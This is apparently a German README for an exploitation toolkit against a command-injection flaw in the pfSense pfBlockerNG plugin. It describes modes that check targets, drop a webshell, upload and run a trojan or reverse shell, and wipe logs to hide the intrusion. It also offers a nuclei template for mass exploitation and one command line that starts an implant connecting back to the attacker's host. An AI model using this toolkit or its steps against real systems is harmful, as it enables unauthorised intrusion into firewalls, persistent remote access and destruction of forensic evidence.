
CVE-2022-31814 Exploitation-Toolkit.
CVE-2022-31814 (pfSense pfBlockerNG <= 2.1.4_26) Exploitation-Toolkit.
Dies ist ein Exploitation-Toolkit für die von IHTeam entdeckte Remote-Befehlseinschleusungsfunktion der pfSense pfBlockerNG <= 2.1.4_26 Plugins.
Ich habe dies geschrieben, um mit einigen der Gestaltungsprinzipien des NSA-Firewall-Exploitation-Toolkits zu experimentieren – aus diesem Grund ist es so konzipiert, dass es vollständig mit dem nopen-Implantat kompatibel ist (eine kleine, dokumentierte Änderung erforderlich), über integrierte Log-Löschfunktionen verfügt und äußerst zuverlässig ist, indem einige Preflight-Checks (passive und aktive Schwachstellentests) implementiert werden.
Ein einfacher Reverse-TTY-Shell-Payload, geschrieben in Python (diese Dinge werden mit einem Python-Interpreter ausgeliefert), wird in diesem Toolkit als Ersatz für nopen bereitgestellt, da es in Produktionsumgebungen etwas töricht erscheint, zwielichtige Binärdateien aus dem NSA-Fundus auszuführen.
Für Yolo-Scans nach Bug-Bounties und Massenexploitation führen Sie die mitgelieferte nuclei-Vorlage aus (sie sollte mittlerweile auch upstream integriert sein). Dies liefert eine Zielliste. Die Datei heißt nuclei-CVE-2022-31814.yaml.
Für präzises Abtasten von Netzwerken gibt es vier "Modi", die Ihnen bekannt sein sollten und die unten dokumentiert sind. Führen Sie sie der Reihe nach aus. Sie werden mit dem --mode-Flag gesetzt.
Dieser Modus macht zwei HTTP-Anfragen – eine, um zu prüfen, ob es sich tatsächlich um ein pfSense handelt (durch Überprüfen des HTTP-Titels auf /), und eine an den angreifbaren Endpunkt, um zu prüfen, ob er in Ordnung aussieht. Dieser Modus exploitiert nichts.
Dieser Modus macht zwei HTTP-Anfragen – beide exploitieren die Schwachstelle. Er injiziert sleep 1 und sleep 10 und stellt sicher, dass der Zeitunterschied zwischen beiden Anfragen größer als 6 Sekunden ist. Ich habe einen gewissen 'Fuckit'-Faktor eingebaut, um Latenz zu berücksichtigen, falls Sie den Exploit über einen Proxy ausführen (tun Sie das, oder?).
Dieser Modus macht 3 HTTP-Anfragen. Die erste exploitiert die Schwachstelle, um eine Webshell mittels einer GET-Anfrage abzulegen.
Die zweite nutzt die Webshell, um unseren Trojaner mittels einer POST-Anfrage hochzuladen.
Die dritte nutzt die Webshell, um unseren Trojaner mittels einer POST-Anfrage auszuführen.
Dieser Modus macht zwei HTTP-Anfragen.
Die erste lädt ein Bereinigungsskript über die Webshell hoch.
Die zweite führt das Bereinigungsskript aus.
Das Bereinigungsskript löscht die Logs, löscht den Trojaner, löscht die Webshell und löscht sich dann selbst. Es tut dies auf vernünftige Weise (rm -rf). Nicht besonders forensisch fundiert – ich könnte das später beheben, indem ich dd verwende, um die Dateien vor dem Löschen zu überschreiben. Vielleicht schreibe ich auch etwas sed-Magie, um die Logs chirurgisch zu entfernen, aber wirklich, nur wenn ich Bock habe.
Für die Verwendung mit nopen ersetzen Sie einfach den letzten Befehl 'Trojaner ausführen' in der Funktion exploit() durch Folgendes:
execute_command(base_url, shell_webpath, shell_param, shell_command=f"chmod +x /tmp/.troy;D=-c{connectback_host}:{connectback_port} /tmp/.troy")
Und stellen Sie eine freebsd nopen (noserver)-Binärdatei bereit, die auf Ihrem Zielsystem funktioniert – das kann schwierig sein: Sie müssen noserver-3.3.2.3-freebsd_8.0-i386 aus dem EQGRP-Leak patchen, um libkvm.so.7 anstelle von libkvm.so.5 zu verwenden, und das Zielsystem benötigt die lib32-Kompatibilitätsschicht... Die standardmäßig nicht in pfSense enthalten ist.
Ich könnte in einer späteren Version ein --nopen-Flag hinzufügen, um dies automatisch zu erledigen, falls die Leute wirklich so sehr Wert auf die Verwendung von nopen legen. Das sollten sie nicht.

IHTeam Advisory: https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/